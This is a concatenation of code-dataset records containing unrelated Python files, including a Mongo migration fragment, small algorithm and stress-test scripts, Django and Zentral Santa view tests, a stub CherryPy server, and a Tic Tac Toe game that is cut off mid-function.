#\n metric[\"threshold_profile\"] = tp_id\n # Store back\n p_coll.update_one({\"_id\": doc.pop(\"_id\")}, {\"$set\": doc})\n\n @staticmethod\n def has_thresholds(metric):\n return (\n metric.get(\"low_error\", False)\n or metric.get(\"low_warn\", False)\n or metric.get(\"high_warn\", False)\n or metric.get(\"high_error\", False)\n or metric.get(\"threshold_profile\")\n )\n\n @classmethod\n @cachetools.cachedmethod(operator.attrgetter(\"_ac_cache\"))\n def get_alarm_class_id(cls, name):\n db = get_db()\n ac_coll = db[\"noc.alarmclasses\"]\n return ac_coll.find_one({\"name\": name}, {\"_id\": 1})[\"_id\"]\n","sub_path":"sla/migrations/0002_thresholdprofiles.py","file_name":"0002_thresholdprofiles.py","file_ext":"py","file_size_in_byte":4981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"174024908","text":"# Imports\n# ==================================================\nfrom sys import exit\n\n\n# Class\n# ==================================================\nclass DefineApplication:\n # PRIVATE\n def __get_user_input( self, message ):\n input_answer = ''\n\n while True:\n try:\n input_answer = str( input( message + \" (t / f): \" ) ).lower()\n print( '--------------------------------------------------\\n' )\n\n if input_answer == 't' or input_answer == 'f':\n break\n\n else:\n print( \"Please answer with t of f\\n\\n\" )\n continue\n\n except:\n print( \"Something went wrong...\" )\n exit()\n\n return input_answer\n\n\n # PUBLIC\n def define_program( self ):\n '''\n Return : list of bool values for steps to take\n --------------------------------------------------\n '''\n program_steps = []\n\n steps = [\n \"Generate barplot of most followed users by target profile's followers?\",\n \"Cluster followers based on who they follow and how they describe themselves?\"\n ]\n\n for step in steps:\n program_steps.append( self.__get_user_input( step ) )\n\n return program_steps","sub_path":"tweepy/explore_twitter_data/DefineApplication.py","file_name":"DefineApplication.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"375109419","text":"from random import randint\r\n\r\nA = [randint(0,10)]\r\nfor i in range(9):\r\n A.append(A[-1] + randint(0,10))\r\nprint(*A)\r\n\r\n\r\nlastEl = 0\r\ncurrLen = 1\r\ncurrDist = 0\r\n\r\ndistLook = {}\r\nfor i, a in enumerate(A):\r\n if i == 0: \r\n lastEl = a\r\n continue\r\n if i == 1: \r\n currLen = 2\r\n currDist = a - lastEl\r\n lastEl = a \r\n continue\r\n if (a - lastEl) != currDist:\r\n distLook.setdefault(currDist, [])\r\n distLook[currDist].append((i - currLen + 1, currLen))\r\n currLen = 2\r\n currDist = a - lastEl\r\n lastEl = a\r\n continue\r\n currLen += 1\r\n lastEl = a\r\n\r\ndistLook.setdefault(currDist, [])\r\ndistLook[currDist].append((i - currLen + 2, currLen))\r\nfor i in range(11):\r\n if i in distLook:\r\n print(i, distLook[i])\r\n\r\n\r\nfor q in range(10000):\r\n L = randint(1, 9)\r\n R = randint(L, 9)\r\n D = randint(0, 10)\r\n\r\n maxLen1 = 1\r\n \r\n # print(1)\r\n # continue\r\n\r\n if D in distLook:\r\n for ele in distLook[D]:\r\n\r\n if ele[0] + ele[1] < L: continue\r\n if ele[0] > R - maxLen1: break\r\n\r\n maxLen1 = max(maxLen1, min(ele[1] - (L - ele[0]), ele[1], R - ele[0] + 1, 1 + (R - L)))\r\n\r\n maxLen2 = 1\r\n curr = 1\r\n \r\n for x1, x2 in zip(A[L - 1:R - 1], A[L:R]):\r\n if x2 - x1 == D:\r\n curr += 1\r\n maxLen2 = max(maxLen2, curr)\r\n else:\r\n curr = 1\r\n if maxLen1 != maxLen2:\r\n print(L, R, D, maxLen1, maxLen2)\r\n\r\n\"\"\"\r\n8 11 21 26 32 42 48 53 55 57\r\n\r\n3 9 2\r\n0 9 2\r\n\r\n\r\n\r\n\r\n\"\"\"","sub_path":"october circuits/arithprogTest.py","file_name":"arithprogTest.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"269942695","text":"import cherrypy\nimport random\nimport time\nimport os\nimport redis\nimport json\nimport uuid\nimport subprocess\n\nredis = redis.Redis()\n\nindex_html = \"\"\"\n\n\n\nMusicazoo WIP\n\n\n\n

    Musicazoo

    \nMusicazoo has been disabled until the end of the party.\n\n\n\"\"\"\n\nclass Musicazoo:\n\t@cherrypy.expose\n\tdef index(self):\n\t\treturn index_html\n\ncherrypy.config.update({'server.socket_port': 8080})\n\ncherrypy.tree.mount(Musicazoo(), os.getenv(\"MZ_LOCATION\") or \"/\")\n\ncherrypy.engine.start()\ncherrypy.engine.block()\n","sub_path":"nopeserver.py","file_name":"nopeserver.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"619382378","text":"import random as rand\nimport gcd\n\n\ndef stress_test(n_input):\n while 1:\n rand.seed(version=2)\n a = rand.randrange(1, n_input)\n b = rand.randrange(1, n_input)\n result1 = gcd.gcd_naive(a, b)\n result2 = gcd.gcd_euclid(a, b)\n if result1 == result2:\n print(\"OK\")\n else:\n print(\"Wrong answer \", result1, result2)\n return\n\n\nif __name__ == \"__main__\":\n N = 50\n print(stress_test(N))\n","sub_path":"Week2/greatest_common_divisor/stress_test_gcd.py","file_name":"stress_test_gcd.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"597362684","text":"#\r\n# @lc app=leetcode.cn id=1329 lang=python3\r\n#\r\n# [1329] 将矩阵按对角线排序\r\n#\r\n# https://leetcode-cn.com/problems/sort-the-matrix-diagonally/description/\r\n#\r\n# algorithms\r\n# Medium (63.09%)\r\n# Likes: 0\r\n# Dislikes: 0\r\n# Total Accepted: 348\r\n# Total Submissions: 551\r\n# Testcase Example: '[[3,3,1,1],[2,2,1,2],[1,1,1,2]]'\r\n#\r\n# 给你一个 m * n 的整数矩阵 mat ，请你将同一条对角线上的元素（从左上到右下）按升序排序后，返回排好序的矩阵。\r\n#\r\n#\r\n#\r\n# 示例 1：\r\n#\r\n#\r\n#\r\n# 输入：mat = [[3,3,1,1],[2,2,1,2],[1,1,1,2]]\r\n# 输出：[[1,1,1,1],[1,2,2,2],[1,2,3,3]]\r\n#\r\n#\r\n#\r\n#\r\n# 提示：\r\n#\r\n#\r\n# m == mat.length\r\n# n == mat[i].length\r\n# 1 <= m, n <= 100\r\n# 1 <= mat[i][j] <= 100\r\n#\r\n#\r\n#\r\n\r\n\r\n# @lc code=start\r\nclass Solution:\r\n def diagonalSort(self, mat: List[List[int]]) -> List[List[int]]:\r\n # 遍历开头一行和一列作为start, 排序对应的对角线然后重新填充\r\n rows, cols = len(mat), len(mat[0])\r\n for c in range(cols):\r\n cur = []\r\n for le in range(min(cols - c, rows)):\r\n cur.append(mat[le][c + le])\r\n cur = sorted(cur)\r\n i = 0\r\n for le in range(min(cols - c, rows)):\r\n mat[le][c + le] = cur[i]\r\n i += 1\r\n for r in range(1, rows):\r\n cur = []\r\n for le in range(min(cols, rows - r)):\r\n cur.append(mat[r + le][le])\r\n cur = sorted(cur)\r\n i = 0\r\n for le in range(min(cols, rows - r)):\r\n mat[r + le][le] = cur[i]\r\n i += 1\r\n return mat\r\n\r\n\r\n# @lc code=end\r\n","sub_path":"Medium/1329.将矩阵按对角线排序.py","file_name":"1329.将矩阵按对角线排序.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"334497583","text":"from django.test import TestCase\nfrom mail.models import Mail\nimport unittest\n\n\nclass MailTestCase(unittest.TestCase):\n def setUp(self):\n for _ in range(400):\n Mail.objects.create(name='Test', email='Test@test.com', message_text='This is a test message')\n Mail.objects.create(name='Test.', email='Test@test.ru', message_text='This is a test message...')\n\n def test_email(self):\n email_1 = Mail.objects.get(email='Test@test.ru')\n email_2 = Mail.objects.get(email='Test@test.com')\n self.assertEquals(email_1, 'Test@test.ru')\n self.assertEquals(email_2, 'Test@test.com')\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"mail_form/mail_form/mail/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"633889221","text":"import datetime\nfrom functools import reduce\nimport json\nimport operator\nimport plistlib\nfrom django.contrib.auth.models import Group, Permission\nfrom django.db.models import Q\nfrom django.urls import reverse\nfrom django.test import TestCase, override_settings\nfrom django.utils.crypto import get_random_string\nfrom zentral.contrib.inventory.models import MetaBusinessUnit, File\nfrom accounts.models import User\nfrom zentral.contrib.santa.models import Bundle, Rule, Target\n\n\ndef get_random_sha256():\n return get_random_string(64, \"abcdef0123456789\")\n\n\n@override_settings(STATICFILES_STORAGE='django.contrib.staticfiles.storage.StaticFilesStorage')\nclass SantaSetupViewsTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n # user\n cls.pwd = \"godzillapwd\"\n cls.user = User.objects.create_user(\"godzilla\", \"godzilla@zentral.io\", cls.pwd)\n cls.group = Group.objects.create(name=get_random_string())\n cls.user.groups.set([cls.group])\n # file tree\n cls.file_sha256 = get_random_sha256()\n cls.file_name = get_random_string()\n cls.file_bundle_name = get_random_string()\n cls.file_cert_sha256 = get_random_sha256()\n cls.file_cert_cn = get_random_string()\n cls.file_cert_ou = get_random_string()\n cls.file, _ = File.objects.commit({\n 'source': {'module': 'zentral.contrib.santa', 'name': 'Santa events'},\n 'bundle': {'bundle_id': 'servicecontroller:com.apple.stomp.transcoderx',\n 'bundle_name': cls.file_bundle_name,\n 'bundle_version': '3.5.3',\n 'bundle_version_str': '3.5.3'},\n 'bundle_path': ('/Library/Frameworks/Compressor.framework/'\n 'Versions/A/Resources/CompressorTranscoderX.bundle'),\n 'name': cls.file_name,\n 'path': ('/Library/Frameworks/Compressor.framework/'\n 'Versions/A/Resources/CompressorTranscoderX.bundle/Contents/MacOS'),\n 'sha_256': cls.file_sha256,\n 'signed_by': {\n 'common_name': cls.file_cert_cn,\n 'organization': 'Apple Inc.',\n 'organizational_unit': cls.file_cert_ou,\n 'sha_256': cls.file_cert_sha256,\n 'valid_from': datetime.datetime(2007, 2, 23, 22, 2, 56),\n 'valid_until': datetime.datetime(2015, 1, 14, 22, 2, 56),\n 'signed_by': {\n 'common_name': 'Apple Code Signing Certification Authority',\n 'organization': 'Apple Inc.',\n 'organizational_unit': 'Apple Certification Authority',\n 'sha_256': '3afa0bf5027fd0532f436b39363a680aefd6baf7bf6a4f97f17be2937b84b150',\n 'valid_from': datetime.datetime(2007, 2, 14, 21, 19, 19),\n 'valid_until': datetime.datetime(2015, 2, 14, 21, 19, 19),\n 'signed_by': {\n 'common_name': 'Apple Root CA',\n 'organization': 'Apple Inc.',\n 'organizational_unit': 'Apple Certification Authority',\n 'sha_256': 'b0b1730ecbc7ff4505142c49f1295e6eda6bcaed7e2c68c5be91b5a11001f024',\n 'valid_from': datetime.datetime(2006, 4, 25, 21, 40, 36),\n 'valid_until': datetime.datetime(2035, 2, 9, 21, 40, 36),\n },\n },\n }\n })\n cls.file_target = Target.objects.create(type=Target.BINARY, sha256=cls.file_sha256)\n\n def login_redirect(self, url):\n response = self.client.get(url)\n self.assertRedirects(response, \"{u}?next={n}\".format(u=reverse(\"login\"), n=url))\n\n def login(self, *permissions):\n if permissions:\n permission_filter = reduce(operator.or_, (\n Q(content_type__app_label=app_label, codename=codename)\n for app_label, codename in (\n permission.split(\".\")\n for permission in permissions\n )\n ))\n self.group.permissions.set(list(Permission.objects.filter(permission_filter)))\n else:\n self.group.permissions.clear()\n self.client.force_login(self.user)\n\n def post_as_json(self, url_name, data):\n return self.client.post(reverse(\"santa:{}\".format(url_name)),\n json.dumps(data),\n content_type=\"application/json\")\n\n def test_configurations_redirect(self):\n self.login_redirect(reverse(\"santa:configuration_list\"))\n self.login_redirect(reverse(\"santa:create_configuration\"))\n\n def test_get_create_configuration_view(self):\n self.login()\n response = self.client.get(reverse(\"santa:create_configuration\"))\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_configuration\")\n response = self.client.get(reverse(\"santa:create_configuration\"))\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/configuration_form.html\")\n self.assertContains(response, \"Santa configuration\")\n\n def create_configuration(self):\n response = self.client.post(reverse(\"santa:create_configuration\"),\n {\"name\": get_random_string(64),\n \"batch_size\": 50,\n \"client_mode\": \"1\",\n \"banned_block_message\": \"yo\",\n \"enable_page_zero_protection\": \"on\",\n \"enable_sysx_cache\": \"on\",\n \"mode_notification_lockdown\": \"lockdown\",\n \"mode_notification_monitor\": \"monitor\",\n \"unknown_block_message\": \"block\",\n \"full_sync_interval\": 602,\n }, follow=True)\n configuration = response.context[\"object\"]\n return response, configuration\n\n def test_post_create_configuration_view(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n response, configuration = self.create_configuration()\n self.assertEqual(response.status_code, 200)\n self.assertEqual(configuration.enable_sysx_cache, True)\n self.assertEqual(configuration.full_sync_interval, 602)\n self.assertTemplateUsed(response, \"santa/configuration_detail.html\")\n self.assertContains(response, configuration.name)\n\n def test_post_update_configuration_view(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n response = self.client.post(reverse(\"santa:update_configuration\", args=(configuration.pk,)),\n {\"name\": configuration.name,\n \"batch_size\": 50,\n \"client_mode\": \"1\",\n \"banned_block_message\": \"yo\",\n \"enable_page_zero_protection\": \"on\",\n \"mode_notification_lockdown\": \"new lockdown message\",\n \"mode_notification_monitor\": \"monitor\",\n \"unknown_block_message\": \"block\",\n \"full_sync_interval\": 603,\n }, follow=True)\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_configuration\", \"santa.change_configuration\", \"santa.view_configuration\")\n response = self.client.post(reverse(\"santa:update_configuration\", args=(configuration.pk,)),\n {\"name\": configuration.name,\n \"batch_size\": 50,\n \"client_mode\": \"1\",\n \"banned_block_message\": \"yo\",\n \"enable_page_zero_protection\": \"on\",\n \"mode_notification_lockdown\": \"new lockdown message\",\n \"mode_notification_monitor\": \"monitor\",\n \"unknown_block_message\": \"block\",\n \"full_sync_interval\": 603,\n }, follow=True)\n configuration = response.context[\"object\"]\n self.assertEqual(configuration.enable_sysx_cache, False)\n self.assertEqual(configuration.full_sync_interval, 603)\n self.assertTemplateUsed(response, \"santa/configuration_detail.html\")\n self.assertContains(response, \"new lockdown message\")\n\n def test_get_create_enrollment_view(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n response = self.client.get(reverse(\"santa:create_enrollment\", args=(configuration.pk,)))\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_configuration\", \"santa.view_configuration\", \"santa.add_enrollment\")\n response = self.client.get(reverse(\"santa:create_enrollment\", args=(configuration.pk,)))\n self.assertTemplateUsed(response, \"santa/enrollment_form.html\")\n self.assertContains(response, \"Create enrollment\")\n self.assertContains(response, configuration.name)\n\n def create_enrollment(self, configuration, no_assertions=False):\n mbu = MetaBusinessUnit.objects.create(name=\"{} MBU\".format(configuration.name))\n mbu.create_enrollment_business_unit()\n response = self.client.post(reverse(\"santa:create_enrollment\", args=(configuration.pk,)),\n {\"secret-meta_business_unit\": mbu.pk,\n \"configuration\": configuration.pk,\n \"santa_release\": \"\"}, follow=True)\n if no_assertions:\n return response, None\n enrollment = response.context[\"enrollments\"][0]\n self.assertEqual(enrollment.version, 1)\n return response, enrollment\n\n def test_post_create_enrollment_view(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n response, enrollment = self.create_enrollment(configuration, no_assertions=True)\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_configuration\", \"santa.view_configuration\", \"santa.add_enrollment\")\n response, enrollment = self.create_enrollment(configuration)\n self.assertTemplateUsed(response, \"santa/configuration_detail.html\")\n self.assertEqual(response.context[\"object\"], configuration)\n # response does not contain enrollment secret meta business unit name\n self.assertNotContains(response, enrollment.secret.meta_business_unit.name)\n # response does not contain link to download enrollment configuration plist\n self.assertNotContains(response, reverse(\"santa:enrollment_configuration_plist\",\n args=(configuration.pk, enrollment.pk)))\n # response does not contain link to download enrollment configuration profile\n self.assertNotContains(response, reverse(\"santa:enrollment_configuration_profile\",\n args=(configuration.pk, enrollment.pk)))\n self.login(\"santa.view_configuration\", \"santa.view_enrollment\")\n response = self.client.get(configuration.get_absolute_url())\n # response contains enrollment secret meta business unit name\n self.assertContains(response, enrollment.secret.meta_business_unit.name)\n # response contains link to download enrollment configuration plist\n self.assertContains(response, reverse(\"santa:enrollment_configuration_plist\",\n args=(configuration.pk, enrollment.pk)))\n # response contains link to download enrollment configuration profile\n self.assertContains(response, reverse(\"santa:enrollment_configuration_profile\",\n args=(configuration.pk, enrollment.pk)))\n\n def test_enrollment_configuration_view(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\",\n \"santa.add_enrollment\", \"santa.view_enrollment\")\n _, configuration = self.create_configuration()\n _, enrollment = self.create_enrollment(configuration)\n self.client.logout()\n enrollment_configuration_plist_url = reverse(\n \"santa:enrollment_configuration_plist\", args=(configuration.pk, enrollment.pk)\n )\n self.login_redirect(enrollment_configuration_plist_url)\n enrollment_configuration_profile_url = reverse(\n \"santa:enrollment_configuration_profile\", args=(configuration.pk, enrollment.pk)\n )\n self.login_redirect(enrollment_configuration_profile_url)\n self.login()\n response = self.client.get(enrollment_configuration_plist_url)\n self.assertEqual(response.status_code, 403)\n response = self.client.get(enrollment_configuration_profile_url)\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.view_enrollment\")\n response = self.client.get(enrollment_configuration_plist_url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response['Content-Type'], \"application/x-plist\")\n plist_config = plistlib.loads(response.content)\n self.assertTrue(plist_config[\"SyncBaseURL\"].endswith(\n f\"/santa/sync/{enrollment.secret.secret}/\"\n ))\n self.assertEqual(plist_config[\"EnableSysxCache\"], configuration.enable_sysx_cache)\n response = self.client.get(enrollment_configuration_profile_url)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response['Content-Type'], \"application/octet-stream\")\n\n def test_configuration_rules_redirects(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n self.client.logout()\n self.login_redirect(reverse(\"santa:configuration_rules\", args=(configuration.pk,)))\n self.login_redirect(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)))\n self.login_redirect(reverse(\"santa:pick_rule_binary\", args=(configuration.pk,)))\n self.login_redirect(reverse(\"santa:pick_rule_bundle\", args=(configuration.pk,)))\n self.login_redirect(reverse(\"santa:pick_rule_certificate\", args=(configuration.pk,)))\n\n def test_configuration_rules_permission_denied(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n for view_name in (\"configuration_rules\", \"create_configuration_rule\",\n \"pick_rule_binary\", \"pick_rule_bundle\", \"pick_rule_certificate\"):\n response = self.client.get(reverse(f\"santa:{view_name}\", args=(configuration.pk,)))\n self.assertEqual(response.status_code, 403)\n\n def test_create_configuration_rule(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n # create\n binary_hash = get_random_sha256()\n response = self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.ALLOWLIST}, follow=True)\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_rule\", \"santa.view_rule\")\n response = self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.ALLOWLIST}, follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/configuration_rules.html\")\n rule = response.context[\"object_list\"][0]\n self.assertEqual(rule.configuration, configuration)\n self.assertEqual(rule.target.sha256, binary_hash)\n self.assertEqual(rule.target.type, Target.BINARY)\n self.assertEqual(rule.policy, Rule.ALLOWLIST)\n self.assertEqual(rule.custom_msg, \"\")\n self.assertEqual(rule.serial_numbers, [])\n self.assertEqual(rule.primary_users, [])\n\n def test_create_conflict_configuration_rule(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\",\n \"santa.add_rule\", \"santa.view_rule\")\n _, configuration = self.create_configuration()\n # create\n binary_hash = get_random_sha256()\n self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.ALLOWLIST}, follow=True)\n # conflict\n response = self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.BLOCKLIST}, follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/rule_form.html\")\n form = response.context[\"form\"]\n self.assertEqual(form.errors, {'__all__': ['A rule for this target already exists']})\n\n def test_update_configuration_rule(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\",\n \"santa.add_rule\", \"santa.view_rule\")\n _, configuration = self.create_configuration()\n # create\n binary_hash = get_random_sha256()\n response = self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.ALLOWLIST}, follow=True)\n rule = response.context[\"object_list\"][0]\n # update\n custom_message = get_random_string()\n serial_numbers = [get_random_string() for i in range(3)]\n primary_users = [get_random_string() for i in range(12)]\n response = self.client.post(reverse(\"santa:update_configuration_rule\", args=(configuration.pk, rule.pk)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.BLOCKLIST,\n \"custom_msg\": custom_message,\n \"serial_numbers\": \", \".join(serial_numbers),\n \"primary_users\": \",\".join(primary_users)}, follow=True)\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.change_rule\", \"santa.view_rule\")\n response = self.client.post(reverse(\"santa:update_configuration_rule\", args=(configuration.pk, rule.pk)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.BLOCKLIST,\n \"custom_msg\": custom_message,\n \"serial_numbers\": \", \".join(serial_numbers),\n \"primary_users\": \",\".join(primary_users)}, follow=True)\n self.assertTemplateUsed(response, \"santa/configuration_rules.html\")\n rule = response.context[\"object_list\"][0]\n self.assertEqual(rule.configuration, configuration)\n self.assertEqual(rule.target.sha256, binary_hash)\n self.assertEqual(rule.target.type, Target.BINARY)\n self.assertEqual(rule.policy, Rule.BLOCKLIST)\n self.assertEqual(rule.custom_msg, custom_message)\n self.assertEqual(rule.serial_numbers, serial_numbers)\n self.assertEqual(rule.primary_users, primary_users)\n\n def test_delete_configuration_rule(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\",\n \"santa.add_rule\", \"santa.view_rule\")\n _, configuration = self.create_configuration()\n # create\n binary_hash = get_random_sha256()\n response = self.client.post(reverse(\"santa:create_configuration_rule\", args=(configuration.pk,)),\n {\"target_type\": Target.BINARY,\n \"target_sha256\": binary_hash,\n \"policy\": Rule.ALLOWLIST}, follow=True)\n rule = response.context[\"object_list\"][0]\n # delete GET\n response = self.client.get(reverse(\"santa:delete_configuration_rule\", args=(configuration.pk, rule.pk)))\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.delete_rule\", \"santa.view_rule\")\n response = self.client.get(reverse(\"santa:delete_configuration_rule\", args=(configuration.pk, rule.pk)))\n self.assertTemplateUsed(response, \"santa/rule_confirm_delete.html\")\n self.assertContains(response, binary_hash)\n # delete POST\n response = self.client.post(reverse(\"santa:delete_configuration_rule\", args=(configuration.pk, rule.pk)),\n follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/configuration_rules.html\")\n self.assertFalse(any(rule.target.sha256 == binary_hash for rule in response.context[\"object_list\"]))\n\n def test_pick_rule_binary(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n response = self.client.get(reverse(\"santa:pick_rule_binary\", args=(configuration.pk,)),\n {\"name\": self.file_name})\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_rule\")\n response = self.client.get(reverse(\"santa:pick_rule_binary\", args=(configuration.pk,)),\n {\"name\": self.file_name})\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/pick_rule_binary.html\")\n binaries = response.context[\"binaries\"]\n self.assertEqual(binaries, [(self.file, None)])\n self.assertContains(response, self.file.sha_256)\n\n def test_pick_rule_bundle(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n bundle_target = Target.objects.create(type=Target.BUNDLE, sha256=get_random_sha256())\n bundle = Bundle.objects.create(\n target=bundle_target,\n path=get_random_string(),\n executable_rel_path=get_random_string(),\n bundle_id=self.file.bundle.bundle_id,\n name=self.file_bundle_name,\n version=self.file.bundle.bundle_version,\n version_str=self.file.bundle.bundle_version_str,\n binary_count=1\n )\n # 403\n response = self.client.get(reverse(\"santa:pick_rule_bundle\", args=(configuration.pk,)),\n {\"name\": self.file_bundle_name})\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_rule\")\n # bundle not ready, no go\n response = self.client.get(reverse(\"santa:pick_rule_bundle\", args=(configuration.pk,)),\n {\"name\": self.file_bundle_name})\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/pick_rule_bundle.html\")\n self.assertEqual(response.context[\"bundles\"], [(bundle, None)])\n self.assertContains(response, \"Bundle not uploaded yet\")\n self.assertNotContains(response, \"Create rule\")\n # bundle read, OK\n bundle.binary_targets.add(self.file_target)\n bundle.uploaded_at = datetime.datetime.now()\n bundle.save()\n response = self.client.get(reverse(\"santa:pick_rule_bundle\", args=(configuration.pk,)),\n {\"name\": self.file_bundle_name})\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/pick_rule_bundle.html\")\n self.assertEqual(response.context[\"bundles\"], [(bundle, None)])\n self.assertNotContains(response, \"Bundle not uploaded yet\")\n self.assertContains(response, \"Create rule\")\n\n def test_pick_rule_certificate(self):\n self.login(\"santa.add_configuration\", \"santa.view_configuration\")\n _, configuration = self.create_configuration()\n response = self.client.get(reverse(\"santa:pick_rule_certificate\", args=(configuration.pk,)),\n {\"query\": self.file_cert_ou})\n self.assertEqual(response.status_code, 403)\n self.login(\"santa.add_rule\")\n response = self.client.get(reverse(\"santa:pick_rule_certificate\", args=(configuration.pk,)),\n {\"query\": self.file_cert_ou})\n self.assertEqual(response.status_code, 200)\n self.assertTemplateUsed(response, \"santa/pick_rule_certificate.html\")\n certificates = response.context[\"certificates\"]\n self.assertEqual(certificates, [(self.file.signed_by, None)])\n","sub_path":"tests/santa/test_setup_views.py","file_name":"test_setup_views.py","file_ext":"py","file_size_in_byte":25984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"417087172","text":"board=[\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\",\"-\"]\r\n\r\ngame_active = True\r\nwinner = None\r\ncurrent = \"X\"\r\nplayer1=\"\"\r\nplayer2=\"\"\r\n\r\n\r\ndef display_board():\r\n print(\" | \", board[0], \" | \", board[1], \" | \", board[2], \" | \")\r\n print(\" | \", board[3], \" | \", board[4], \" | \", board[5], \" | \")\r\n print(\" | \", board[6], \" | \", board[7], \" | \", board[8], \" | \")\r\n\r\ndef play_game():\r\n\r\n print(\"Welcome to Tic Tac Toe...\")\r\n print(\"Please enter your names : \")\r\n get_players()\r\n\r\n display_board()\r\n\r\n while game_active:\r\n\r\n handle_turn(current)\r\n\r\n check_game_over()\r\n\r\n change_player()\r\n\r\n\r\n if (winner==\"X\"):\r\n print(\"Winner : \", player1)\r\n elif(winner==\"O\"):\r\n print(\"Winner : \", player2)\r\n elif winner==None:\r\n print(\"Tie\")\r\n\r\n\r\n\r\ndef handle_turn(current):\r\n valid=False\r\n\r\n position = input(\"Enter position from 1-9 : \")\r\n\r\n while not valid:\r\n while position not in [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",]:\r\n position = input(\"Invalid inuput. Enter valid position from 1-9 : \")\r\n\r\n position = int(position)-1\r\n\r\n if board[position]==\"-\":\r\n valid=True\r\n\r\n\r\n else:\r\n print(\"Position already taken enter an empty space \")\r\n\r\n board[position] = current\r\n display_board()\r\n\r\ndef check_game_over():\r\n \r\n check_win()\r\n\r\n check_tie()\r\n\r\n\r\n\r\ndef check_win():\r\n\r\n global winner\r\n\r\n row_winner=check_rows()\r\n\r\n column_winner=check_columns()\r\n\r\n diagonal_winner=check_diagonals()\r\n\r\n if row_winner:\r\n winner=row_winner\r\n\r\n elif column_winner:\r\n winner=column_winner\r\n\r\n elif diagonal_winner:\r\n winner=diagonal_winner\r\n\r\n else:\r\n winner=None\r\n\r\n return\r\n\r\ndef check_rows():\r\n\r\n global game_active\r\n\r\n row_1 = board[0] == board[1] == board[2] != \"-\"\r\n row_2 = board[3] == board[4] == board[5] != \"-\"\r\n row_3 = board[6] == board[7] == board[8] != \"-\"\r\n\r\n if row_1 or row_2 or row_3:\r\n game_active=False\r\n\r\n if row_1:\r\n return board[0]\r\n\r\n elif row_2:\r\n return board[3]\r\n\r\n elif row_3:\r\n return board[6]\r\n\r\n return\r\n\r\ndef check_columns():\r\n global game_active\r\n\r\n column_1 = board[0] == board[3] == board[6] != 